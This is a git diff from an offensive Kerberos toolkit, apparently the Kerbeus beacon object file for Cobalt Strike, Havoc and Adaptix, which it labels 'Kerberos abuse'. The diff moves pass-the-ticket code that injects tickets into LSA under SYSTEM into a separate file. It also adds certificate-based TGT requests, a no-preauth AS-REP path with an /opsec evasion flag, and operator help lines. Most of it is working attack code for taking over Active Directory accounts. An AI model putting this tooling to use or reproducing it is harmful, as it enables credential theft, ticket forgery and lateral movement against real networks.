*PBYTE; +typedef BYTE *PUCHAR; +typedef DWORD *PDWORD; +typedef DWORD *LPDWORD; +typedef ULONG *PULONG; +typedef LONG *PLONG; +typedef LONG *PNTSTATUS; +typedef ULONG_PTR size_t; +typedef DWORD ALG_ID; +typedef PVOID HCRYPTHASH; +typedef PVOID HANDLE; +typedef HANDLE *PHANDLE; +typedef PVOID HMODULE; +typedef PVOID HCRYPTPROV; +typedef PVOID HCRYPTKEY; +typedef PVOID HCERTSTORE; +typedef PVOID HCRYPTMSG; +typedef PVOID HCRYPTPROV_LEGACY; +typedef PVOID HCRYPTPROV_OR_NCRYPT_KEY_HANDLE; +typedef PVOID BCRYPT_HANDLE; +typedef PVOID BCRYPT_ALG_HANDLE; +typedef PVOID BCRYPT_KEY_HANDLE; +typedef PVOID BCRYPT_SECRET_HANDLE; +typedef PVOID PSID; +typedef char *va_list; +typedef unsigned int UINT32; + +#define va_start(v,l) (v = (va_list)_ADDRESSOF(l) + _INTSIZEOF(l)) +#define va_end(v) (v = (va_list)0) +#define va_arg(v,l) (*(l *)((v += _INTSIZEOF(l)) - _INTSIZEOF(l))) +#define _INTSIZEOF(n) ((sizeof(n) + sizeof(int) - 1) & ~(sizeof(int) - 1)) +#define _ADDRESSOF(v) (&(v)) + +#ifndef NULL +#define NULL ((void *)0) +#endif + +#ifndef TRUE +#define TRUE 1 +#endif +#ifndef FALSE +#define FALSE 0 +#endif + +#ifndef LONG_MAX +#define LONG_MAX 2147483647L +#endif +#ifndef LONG_MIN +#define LONG_MIN (-2147483647L - 1) +#endif +#ifndef INT_MAX +#define INT_MAX 2147483647 +#endif + +typedef struct _LARGE_INTEGER { + LONGLONG QuadPart; +} LARGE_INTEGER; + +typedef union _ULARGE_INTEGER { + struct { + DWORD LowPart; + DWORD HighPart; + }; + ULONGLONG QuadPart; +} ULARGE_INTEGER; + +typedef struct _LUID { + DWORD LowPart; + LONG HighPart; +} LUID, *PLUID; + +typedef struct _LUID_AND_ATTRIBUTES { + LUID Luid; + DWORD Attributes; +} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES; + +typedef struct _TOKEN_PRIVILEGES { + DWORD PrivilegeCount; + LUID_AND_ATTRIBUTES Privileges[1]; +} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES; + +typedef struct _TOKEN_SOURCE { + CHAR SourceName[8]; + LUID SourceIdentifier; +} TOKEN_SOURCE, *PTOKEN_SOURCE; + +typedef struct _SID_IDENTIFIER_AUTHORITY { + BYTE Value[6]; +} SID_IDENTIFIER_AUTHORITY, *PSID_IDENTIFIER_AUTHORITY; + +typedef struct _SID_AND_ATTRIBUTES { + PSID Sid; + DWORD Attributes; +} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; + +typedef struct _TOKEN_USER { + SID_AND_ATTRIBUTES User; +} TOKEN_USER, *PTOKEN_USER; + +typedef struct _TOKEN_STATISTICS { + LUID TokenId; + LUID AuthenticationId; + LARGE_INTEGER ExpirationTime; + DWORD TokenType; + DWORD ImpersonationLevel; + DWORD DynamicCharged; + DWORD DynamicAvailable; + DWORD GroupCount; + DWORD PrivilegeCount; + LUID ModifiedId; +} TOKEN_STATISTICS, *PTOKEN_STATISTICS; + +typedef enum _TOKEN_INFORMATION_CLASS { + TokenUser = 1, + TokenStatistics = 10 +} TOKEN_INFORMATION_CLASS; + +typedef struct _STRING { + unsigned short Length; + unsigned short MaximumLength; + char *Buffer; +} STRING, ANSI_STRING, LSA_STRING, *PSTRING, *PANSI_STRING, *PLSA_STRING; + +typedef struct _UNICODE_STRING { + unsigned short Length; + unsigned short MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING, *PSECURITY_STRING; + +typedef ULONG LSA_OPERATIONAL_MODE; +typedef ULONG *PLSA_OPERATIONAL_MODE; + +typedef enum _SECURITY_LOGON_TYPE { + Interactive = 2 +} SECURITY_LOGON_TYPE; + +typedef struct _QUOTA_LIMITS { + SIZE_T PagedPoolLimit; + SIZE_T NonPagedPoolLimit; + SIZE_T MinimumWorkingSetSize; + SIZE_T MaximumWorkingSetSize; + SIZE_T PagefileLimit; + LARGE_INTEGER TimeLimit; +} QUOTA_LIMITS, *PQUOTA_LIMITS; + +typedef struct _SecHandle { + ULONG_PTR dwLower; + ULONG_PTR dwUpper; +} SecHandle, CredHandle, CtxtHandle, *PCredHandle, *PCtxtHandle; + +typedef struct _TimeStamp { + ULONG LowPart; + LONG HighPart; +} TimeStamp, *PTimeStamp; + +typedef struct _SecBuffer { + ULONG cbBuffer; + ULONG BufferType; + PVOID pvBuffer; +} SecBuffer, *PSecBuffer; + +typedef struct _SecBufferDesc { + ULONG ulVersion; + ULONG cBuffers; + PSecBuffer pBuffers; +} SecBufferDesc, *PSecBufferDesc; + +typedef char SEC_CHAR; +typedef PVOID SEC_GET_KEY_FN; + +typedef struct _SECURITY_LOGON_SESSION_DATA { + ULONG Size; +} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA; + +typedef struct _GROUPS { + ULONG GroupCount; + SID_AND_ATTRIBUTES Groups[1]; +} TOKEN_GROUPS, *PTOKEN_GROUPS; + +typedef struct _FILETIME { + DWORD dwLowDateTime; + DWORD dwHighDateTime; +} FILETIME, *LPFILETIME; + +typedef struct _SYSTEMTIME { + WORD wYear; + WORD wMonth; + WORD wDayOfWeek; + WORD wDay; + WORD wHour; + WORD wMinute; + WORD wSecond; + WORD wMilliseconds; +} SYSTEMTIME, *LPSYSTEMTIME; + +typedef struct _PROCESS_INFORMATION { + HANDLE hProcess; + HANDLE hThread; + DWORD dwProcessId; + DWORD dwThreadId; +} PROCESS_INFORMATION, *PPROCESS_INFORMATION; + +typedef struct _STARTUPINFOA { + DWORD cb; + LPSTR lpReserved; + LPSTR lpDesktop; + LPSTR lpTitle; + DWORD dwX; + DWORD dwY; + DWORD dwXSize; + DWORD dwYSize; + DWORD dwXCountChars; + DWORD dwYCountChars; + DWORD dwFillAttribute; + DWORD dwFlags; + WORD wShowWindow; + WORD cbReserved2; + BYTE *lpReserved2; + HANDLE hStdInput; + HANDLE hStdOutput; + HANDLE hStdError; +} STARTUPINFO, *LPSTARTUPINFOA; + +typedef struct _GUID { + DWORD Data1; + WORD Data2; + WORD Data3; + BYTE Data4[8]; +} GUID; + +typedef struct _WSADATA { + WORD wVersion; + WORD wHighVersion; + CHAR szDescription[257]; + CHAR szSystemStatus[129]; + unsigned short iMaxSockets; + unsigned short iMaxUdpDg; + char *lpVendorInfo; +} WSADATA, *LPWSADATA; + +typedef UINT_PTR SOCKET; +typedef struct sockaddr { + unsigned short sa_family; + char sa_data[14]; +} SOCKADDR, *PSOCKADDR, *LPSOCKADDR; + +struct addrinfo { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + size_t ai_addrlen; + char *ai_canonname; + struct sockaddr *ai_addr; + struct addrinfo *ai_next; +}; + +typedef struct _CRYPTOAPI_BLOB { + DWORD cbData; + BYTE *pbData; +} CRYPT_DATA_BLOB, CRYPT_INTEGER_BLOB, CRYPT_OBJID_BLOB, CERT_NAME_BLOB, CERT_BLOB, + *PCRYPT_DATA_BLOB, *PCERT_NAME_BLOB, *PCERT_BLOB; + +typedef struct _CRYPT_ALGORITHM_IDENTIFIER { + LPSTR pszObjId; + CRYPT_OBJID_BLOB Parameters; +} CRYPT_ALGORITHM_IDENTIFIER, *PCRYPT_ALGORITHM_IDENTIFIER; + +typedef struct _CRYPT_BIT_BLOB { + DWORD cbData; + BYTE *pbData; + DWORD cUnusedBits; +} CRYPT_BIT_BLOB; + +typedef struct _CERT_PUBLIC_KEY_INFO { + CRYPT_ALGORITHM_IDENTIFIER Algorithm; + CRYPT_BIT_BLOB PublicKey; +} CERT_PUBLIC_KEY_INFO, *PCERT_PUBLIC_KEY_INFO; + +typedef struct _CERT_INFO { + DWORD dwVersion; + CRYPT_INTEGER_BLOB SerialNumber; + CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm; + CERT_NAME_BLOB Issuer; + FILETIME NotBefore; + FILETIME NotAfter; + CERT_NAME_BLOB Subject; + CERT_PUBLIC_KEY_INFO SubjectPublicKeyInfo; +} CERT_INFO, *PCERT_INFO; + +typedef struct _CERT_CONTEXT { + DWORD dwCertEncodingType; + BYTE *pbCertEncoded; + DWORD cbCertEncoded; + PCERT_INFO pCertInfo; + HCERTSTORE hCertStore; +} CERT_CONTEXT, *PCERT_CONTEXT; +typedef const CERT_CONTEXT *PCCERT_CONTEXT; + +typedef struct _CMSG_STREAM_INFO { + DWORD cbContent; + BOOL fFinal; + PVOID pvArg; + PVOID pfnStreamOutput; +} CMSG_STREAM_INFO, *PCMSG_STREAM_INFO; + +typedef struct _CMSG_SIGNER_ENCODE_INFO { + DWORD cbSize; + PCERT_INFO pCertInfo; + HCRYPTPROV hCryptProv; + DWORD dwKeySpec; + CRYPT_ALGORITHM_IDENTIFIER HashAlgorithm; + void *pvHashAuxInfo; + DWORD cAuthAttr; + void *rgAuthAttr; + DWORD cUnauthAttr; + void *rgUnauthAttr; +} CMSG_SIGNER_ENCODE_INFO, *PCMSG_SIGNER_ENCODE_INFO; + +typedef struct _CMSG_SIGNED_ENCODE_INFO { + DWORD cbSize; + DWORD cSigners; + PCMSG_SIGNER_ENCODE_INFO rgSigners; + DWORD cCertEncoded; + PCERT_BLOB rgCertEncoded; + DWORD cCrlEncoded; + void *rgCrlEncoded; + DWORD cAttrCertEncoded; + void *rgAttrCertEncoded; +} CMSG_SIGNED_ENCODE_INFO, *PCMSG_SIGNED_ENCODE_INFO; + +typedef struct _BCRYPT_DH_KEY_BLOB { + ULONG dwMagic; + ULONG cbKey; +} BCRYPT_DH_KEY_BLOB, *PBCRYPT_DH_KEY_BLOB; + +typedef struct _BCRYPT_DH_PARAMETER_HEADER { + ULONG cbLength; + ULONG dwMagic; + ULONG cbKeyLength; +} BCRYPT_DH_PARAMETER_HEADER, *PBCRYPT_DH_PARAMETER_HEADER; + +typedef struct _BCryptBuffer { + ULONG cbBuffer; + ULONG BufferType; + PVOID pvBuffer; +} BCryptBuffer, *PBCryptBuffer; + +typedef struct _BCryptBufferDesc { + ULONG ulVersion; + ULONG cBuffers; + PBCryptBuffer pBuffers; +} BCryptBufferDesc, *PBCryptBufferDesc; + +typedef struct _DOMAIN_CONTROLLER_INFOA { + LPSTR DomainControllerName; + LPSTR DomainControllerAddress; + ULONG DomainControllerAddressType; + GUID DomainGuid; + LPSTR DomainName; + LPSTR DnsForestName; + ULONG Flags; + LPSTR DcSiteName; + LPSTR ClientSiteName; +} DOMAIN_CONTROLLER_INFOA, *PDOMAIN_CONTROLLER_INFOA; + +typedef enum _KERB_PROTOCOL_MESSAGE_TYPE { + KerbSubmitTicketMessage = 21 +} KERB_PROTOCOL_MESSAGE_TYPE; + +typedef struct _KERB_CRYPTO_KEY32 { + LONG KeyType; + ULONG Length; + ULONG Offset; +} KERB_CRYPTO_KEY32, *PKERB_CRYPTO_KEY32; + +typedef struct _KERB_SUBMIT_TKT_REQUEST { + KERB_PROTOCOL_MESSAGE_TYPE MessageType; + LUID LogonId; + ULONG Flags; + KERB_CRYPTO_KEY32 Key; + ULONG KerbCredSize; + ULONG KerbCredOffset; +} KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST; + +#define HEAP_ZERO_MEMORY 0x00000008 +#define MEM_COMMIT 0x00001000 +#define MEM_RELEASE 0x00008000 +#define PAGE_EXECUTE_READWRITE 0x40 +#define PAGE_READWRITE 0x04 + +#define CP_UTF8 65001 +#define CP_ACP 0 + +#define AF_INET 2 +#define SOCK_STREAM 1 +#define IPPROTO_TCP 6 +#define INVALID_SOCKET ((SOCKET)(~0ULL)) +#define SOCKET_ERROR (-1) +#define MAKEWORD(a,b) ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8)) + +#define X509_ASN_ENCODING 0x00000001 +#define PKCS_7_ASN_ENCODING 0x00010000 +#define ASN_OBJECT_IDENTIFIER 0x06 +#define CMSG_SIGNED 2 +#define CMSG_CONTENT_PARAM 2 + +#define PROV_RSA_FULL 1 +#define PROV_RSA_AES 24 +#define CRYPT_VERIFYCONTEXT 0xF0000000 +#define CRYPT_EXPORTABLE 0x00000001 +#define CRYPT_USER_KEYSET 0x00001000 +#define CRYPT_ACQUIRE_SILENT_FLAG 0x00000040 +#define CERT_NCRYPT_KEY_SPEC 0xFFFFFFFF +#define CALG_SHA1 0x00008004 +#define HP_HASHVAL 0x0002 + +#define BCRYPT_DH_PARAMETERS_MAGIC 0x4d504844 +#define BCRYPT_DH_PUBLIC_MAGIC 0x42504844 +#define BCRYPT_DH_PUBLIC_BLOB L"DHPUBLICBLOB" +#define BCRYPT_DH_ALGORITHM L"DH" +#define BCRYPT_DH_PARAMETERS L"DHParameters" +#define BCRYPT_KDF_RAW_SECRET L"TRUNCATE" + +#define DS_DIRECTORY_SERVICE_REQUIRED 0x00000010 +#define ERROR_SUCCESS 0 +#define ERROR_NO_TOKEN 1008 +#define MAX_COMPUTERNAME_LENGTH 15 + +#define TOKEN_QUERY 0x0008 +#define TOKEN_ADJUST_PRIVILEGES 0x0020 +#define SE_PRIVILEGE_ENABLED 0x00000002 +#define SID_MAX_SUB_AUTHORITIES 15 +#define SECURITY_LOCAL_SYSTEM_RID 18 +#define SECURITY_NT_AUTHORITY {0,0,0,0,0,5} + +#define SE_TCB_NAME "SeTcbPrivilege" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR lpLibFileName); +DECLSPEC_IMPORT PVOID WINAPI KERNEL32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName); + +#define GetModuleHandleA KERNEL32$GetModuleHandleA +#define LoadLibraryA KERNEL32$LoadLibraryA +#define GetProcAddress KERNEL32$GetProcAddress + +#endif diff --git a/asktgt/asktgt.c b/asktgt/asktgt.c index 496734b..64f351f 100644 --- a/asktgt/asktgt.c +++ b/asktgt/asktgt.c @@ -5,181 +5,13 @@ #include "_include/crypt_key.c" #include "_include/connection.c" -HANDLE GetCurrentToken(DWORD DesiredAccess) { - HANDLE hCurrentToken = NULL; - if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken)) - if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) - if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken)) - return NULL; - return hCurrentToken; -} - -LUID GetCurrentLUID(HANDLE TokenHandle) { - TOKEN_STATISTICS tokenStats; - DWORD tokenSize; - if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) - return (LUID) { 0 }; - return tokenStats.AuthenticationId; -} - -BOOL IsSystem(HANDLE TokenHandle) { - UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; - PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; - ULONG cbTokenUser; - SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; - PSID pSystemSid = NULL; - BOOL bSystem = FALSE; - - // Try to open the token of the current thread first - if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_QUERY, TRUE, &TokenHandle)) { - // If there is no thread token, fall back to the process token - if (KERNEL32$GetLastError() == ERROR_NO_TOKEN) { - if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) { - return FALSE; - } - } else { - return FALSE; - } - } - - if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) { - return FALSE; - } - - if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) { - return FALSE; - } - - bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid); - - ADVAPI32$FreeSid(pSystemSid); - - return bSystem; -} - -BOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) { - HANDLE hLsaLocal = NULL; - ULONG mode = 0; - bool status = true; - if (highIntegrity) { - STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = "Winlogon" }; - status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode); - } - else { - status = SECUR32$LsaConnectUntrusted(&hLsaLocal); - } - *hLsa = hLsaLocal; - return status; -} - -int my_isdigit(int c) { - return (c >= '0' && c <= '9'); -} - -int my_islower(int c) { - return (c >= 'a' && c <= 'z'); -} - -long int my_strtol(const char* str, char** endptr, int base) { - long int result = 0; - int sign = 1; - - if (*str == '-' || *str == '+') { - sign = (*str == '-') ? -1 : 1; - str++; - } - - while (my_isdigit(*str) || - (base == 16 && (*str >= 'a' && *str <= 'f')) || - (base == 16 && (*str >= 'A' && *str <= 'F'))) { - int digit = 0; - if (my_isdigit(*str)) { - digit = *str - '0'; - } - else if (base == 16) { - digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10)); - } - - if (digit >= base) - break; - - if (result > (LONG_MAX - digit) / base) { - if (sign == 1) - return LONG_MAX; - else - return LONG_MIN; - } - - result = result * base + digit; - str++; - } - - if (endptr != NULL) - *endptr = (char*)str; - - return result * sign; -} - -void PTT(char* luid, byte* ticket) { - HANDLE hToken = GetCurrentToken(TOKEN_QUERY); - LUID currentLuid = GetCurrentLUID(hToken); - LUID targetLuid = { 0 }; - bool IsHighIntegrity = IsSystem(hToken); - - if (luid) { - targetLuid.LowPart = my_strtol(luid, NULL, 16); - if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) { - PRINT_OUT("[x] Invalid luid\n"); - return; - } - } - else { - targetLuid = currentLuid; - } - - if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) { - PRINT_OUT("[X] You need to be in SYSTEM integrity.\n"); - return; - } - - if (currentLuid.LowPart != targetLuid.LowPart) - IsHighIntegrity = false; - - HANDLE hLsa; - if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return; - - ULONG authPackage; - LSA_STRING krbAuth = { .Buffer = "kerberos",.Length = 8,.MaximumLength = 9 }; - if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) { - - int decode_ticket_size = 0; - byte* decode_ticket = base64_decode(ticket, &decode_ticket_size); - - int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size; - KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize); - - submitRequest->MessageType = KerbSubmitTicketMessage; - submitRequest->KerbCredSize = decode_ticket_size; - submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); - if (IsHighIntegrity) - submitRequest->LogonId = targetLuid; - else - submitRequest->LogonId = (LUID){ 0 }; - - MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size); - - NTSTATUS protocolStatus = 0; - ULONG responseSize = 0; - void* response = 0; - if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus) - PRINT_OUT("\n[X] Ticket not imported.\n"); - else - PRINT_OUT("\n[+] Ticket successfully imported.\n"); - } - SECUR32$LsaDeregisterLogonProcess(hLsa); -} - +byte* lookupKrbErrorCode(uint errorCode); +void PTT(char* luid, byte* ticket); +BOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep); +BOOL HandleASREP(AsnElt responseAsn, EncryptionKey encKey, byte* serviceKey, BOOL getCredentials, byte* dcIP, byte** ticket); +#include "_include/ticket_submit.c" +#include "_include/asktgt_pkinit.c" BOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep) { // AS-REP::= [APPLICATION 11] KDC-REQ @@ -200,7 +32,7 @@ BOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep) { } if ( tagValue == 2 ) { as_rep->pa_data_count = kdc_rep[i].subCount; - as_rep->pa_data = MemAlloc(as_rep->pa_data_count); + as_rep->pa_data = MemAlloc(sizeof(PA_DATA) * as_rep->pa_data_count); for (int j = 0; j < as_rep->pa_data_count; j++) { PA_DATA padata = { 0 }; if (AsnGetPaData(&(kdc_rep[i].sub[j].sub[0]), &padata)) return TRUE; @@ -461,7 +293,7 @@ BOOL CreateEncKey(char* domain, char* user, char* password, int currentEtype, in return TRUE; } -BOOL NoPreAuthTGT(char* user, char* domain, EncryptionKey encKey, char* domainController, BOOL describe, BOOL verbose, BOOL ptt, BOOL* ret) { +BOOL NoPreAuthTGT(char* user, char* domain, EncryptionKey encKey, char* domainController, BOOL show, BOOL nowrap, BOOL verbose, BOOL ptt, BOOL* ret) { AS_REQ NoPreAuthASREQ = { 0 }; if (NewAS_REQ(user, domain, encKey, TRUE, TRUE, TRUE, NULL, &NoPreAuthASREQ)) return TRUE; @@ -493,6 +325,7 @@ BOOL NoPreAuthTGT(char* user, char* domain, EncryptionKey encKey, char* domainCo byte* kirbiBytes = NULL; if (HandleASREP(responseAsn, encKey, NULL, FALSE, domainController, &kirbiBytes)) return TRUE; *ret = TRUE; + PrintKirbiOutput(kirbiBytes, show, nowrap); if (ptt) PTT(NULL, kirbiBytes); } @@ -514,13 +347,13 @@ BOOL NoPreAuthTGT(char* user, char* domain, EncryptionKey encKey, char* domainCo return FALSE; } -BOOL AskTGT_hash(char* user, char* domain, char* password, int currentEtype, int encType, BOOL opsec, BOOL pac, BOOL describe, BOOL ptt, char* dc, byte** kirbiBytes) { +BOOL AskTGT_hash(char* user, char* domain, char* password, int currentEtype, int encType, BOOL opsec, BOOL pac, BOOL show, BOOL nowrap, BOOL ptt, char* dc, byte** kirbiBytes) { EncryptionKey encKey = { 0 }; if (CreateEncKey(domain, user, password, currentEtype, encType, &encKey)) return TRUE; BOOL preauth = FALSE; if (opsec) - if (NoPreAuthTGT(user, domain, encKey, dc, describe, TRUE, ptt, &preauth)) return TRUE; + if (NoPreAuthTGT(user, domain, encKey, dc, show, nowrap, TRUE, ptt, &preauth)) return TRUE; if (!preauth) { PRINT_OUT("[*] Building AS-REQ (w/ preauth) for: '%s\\%s'\n", domain, user); @@ -546,10 +379,8 @@ BOOL AskTGT_hash(char* user, char* domain, char* password, int currentEtype, int if (responseAsn.tagValue == KERB_AS_REP) { if (HandleASREP(responseAsn, encKey, NULL, FALSE, dc, kirbiBytes)) return TRUE; - if (describe) { - PRINT_OUT("[+] TGT request successful!\n"); - PRINT_OUT("[*] base64(ticket.kirbi): \n\n%s\n\n", *kirbiBytes); - } + PRINT_OUT("[+] TGT request successful!\n"); + PrintKirbiOutput(*kirbiBytes, show, nowrap); if (ptt) PTT(NULL, *kirbiBytes); } @@ -582,17 +413,23 @@ void ASK_TGT_RUN( PCHAR Buffer, DWORD Length ) { BOOL opsec = FALSE; BOOL pac = FALSE; BOOL nopreauth = FALSE; + BOOL show = TRUE; + BOOL nowrap = FALSE; for (int i = 0; i < Length; i++) { i += GetStrParam(Buffer + i, Length - i, "/user:", 6, &user ); i += GetStrParam(Buffer + i, Length - i, "/domain:", 8, &domain ); i += GetStrParam(Buffer + i, Length - i, "/password:", 10, &password ); + i += GetStrParam(Buffer + i, Length - i, "/certificate:", 13, &cert ); + i += GetStrParam(Buffer + i, Length - i, "/cert:", 6, &cert ); i += GetStrParam(Buffer + i, Length - i, "/dc:", 4, &dc ); i += GetStrParam(Buffer + i, Length - i, "/enctype:", 9, &s_enctype ); i += IsSetParam(Buffer + i, Length - i, "/ptt", 4, &ptt ); i += IsSetParam(Buffer + i, Length - i, "/opsec", 6, &opsec ); i += IsSetParam(Buffer + i, Length - i, "/nopac", 6, &pac ); i += IsSetParam(Buffer + i, Length - i, "/nopreauth", 10, &nopreauth ); + i += IsSetParam(Buffer + i, Length - i, "/show", 5, &show ); + i += IsSetParam(Buffer + i, Length - i, "/nowrap", 7, &nowrap ); int h1 = GetStrParam(Buffer + i, Length - i, "/rc4:", 5, &hash ); if(h1){ encType = rc4_hmac; @@ -606,7 +443,7 @@ void ASK_TGT_RUN( PCHAR Buffer, DWORD Length ) { } pac = !pac; - if(password) + if(password && !cert) encType = rc4_hmac; if( s_enctype ) { @@ -635,12 +472,12 @@ void ASK_TGT_RUN( PCHAR Buffer, DWORD Length ) { if (!password && hash) password = hash; - if (!(encType == rc4_hmac || encType == aes256_cts_hmac_sha1) && !nopreauth) { + if (!(encType == rc4_hmac || encType == aes256_cts_hmac_sha1) && !nopreauth && !cert) { PRINT_OUT("[X] Only /rc4 and /aes256 are supported.\n\n"); return; } else { - if (opsec && encType != aes256_cts_hmac_sha1) { + if (opsec && !cert && encType != aes256_cts_hmac_sha1) { PRINT_OUT("[X] Using /opsec but not using /enctype:aes256\n"); return; } @@ -650,13 +487,22 @@ void ASK_TGT_RUN( PCHAR Buffer, DWORD Length ) { EncryptionKey encKey = { 0 }; encKey.key_type = encType; BOOL ret = FALSE; - if (NoPreAuthTGT(user, domain, encKey, dc, TRUE, TRUE, ptt, &ret)) return; + if (NoPreAuthTGT(user, domain, encKey, dc, show, nowrap, TRUE, ptt, &ret)) { + PRINT_OUT("[X] AS-REQ without preauth failed.\n"); + return; + } } else if (cert) { - //PRINT_OUT("Ask.TGT(user, domain, certificate);\n"); + if (AskTGT_cert(user, domain, cert, password, pac, show, nowrap, ptt, dc, &ticket)) { + PRINT_OUT("[X] PKINIT TGT request failed.\n"); + return; + } } else { - AskTGT_hash(user, domain, password, curEType, encType, opsec, pac, TRUE, ptt, dc, &ticket); + if (AskTGT_hash(user, domain, password, curEType, encType, opsec, pac, show, nowrap, ptt, dc, &ticket)) { + PRINT_OUT("[X] TGT request failed.\n"); + return; + } } } } diff --git a/kerbeus_adaptix.json b/kerbeus_adaptix.json index bab2a29..70b9d7e 100644 --- a/kerbeus_adaptix.json +++ b/kerbeus_adaptix.json @@ -26,7 +26,7 @@ "description": "Retrieve a TGT", "example": "kerbeus asktgt /user:Admin /password:QWErty /enctype:aes256 /opsec /ptt", "args": [ - "STRING {Args: /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:(rc4|aes256)] [/ptt] [/nopac] [/opsec]\n /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]}" + "STRING {Args: /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:(rc4|aes256)] [/ptt] [/nopac] [/opsec]\n /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD] [/domain:DOMAIN] [/dc:DC] [/ptt]\n /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]}" ], "exec": "execute bof $EXT_DIR()/_bin/asktgt.$ARCH().o $PACK_BOF(CSTR {params})" }, diff --git a/kerbeus_cs.cna b/kerbeus_cs.cna index ab3635b..8e13cd7 100644 --- a/kerbeus_cs.cna +++ b/kerbeus_cs.cna @@ -24,6 +24,7 @@ beacon_command_register("krb_asktgt", "Retrieve a TGT", " krb_asktgt /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\n" . " krb_asktgt /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n" . " krb_asktgt /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n" . + " krb_asktgt /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD] [/domain:DOMAIN] [/dc:DC] [/ptt]\n" . " krb_asktgt /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]\n\n" ); alias krb_asktgt { @@ -333,6 +334,7 @@ beacon_command_register("kerbeus", "Kerbeus help menu", " krb_asktgt /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\n" . " krb_asktgt /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\n" . " krb_asktgt /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\n" . + " krb_asktgt /user:USER /certificate:BASE64_PFX [/password:PFX_PASSWORD] [/domain:DOMAIN] [/dc:DC] [/ptt]\n" . " krb_asktgt /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]\n" . "\n" . " Retrieve a TGS\n" . @@ -389,4 +391,4 @@ beacon_command_register("kerbeus", "Kerbeus help menu", "\n" . " Reset a user's password from a supplied TGT\n" . " krb_changepw /ticket:BASE64 /new:PASSWORD [/dc:DC] [/targetuser:USER] [/targetdomain:DOMAIN]\n" . - "\n"); \ No newline at end of file + "\n"); diff --git a/kerbeus_havoc.py b/kerbeus_havoc.py index 9cc6bda..4c40330 100644 --- a/kerbeus_havoc.py +++ b/kerbeus_havoc.py @@ -79,7 +79,7 @@ def krb_triage( demonID, *param ): # RegisterModule( "kerbeus", "Kerberos abuse (kerbeus BOF)", "", "", "", "" ) 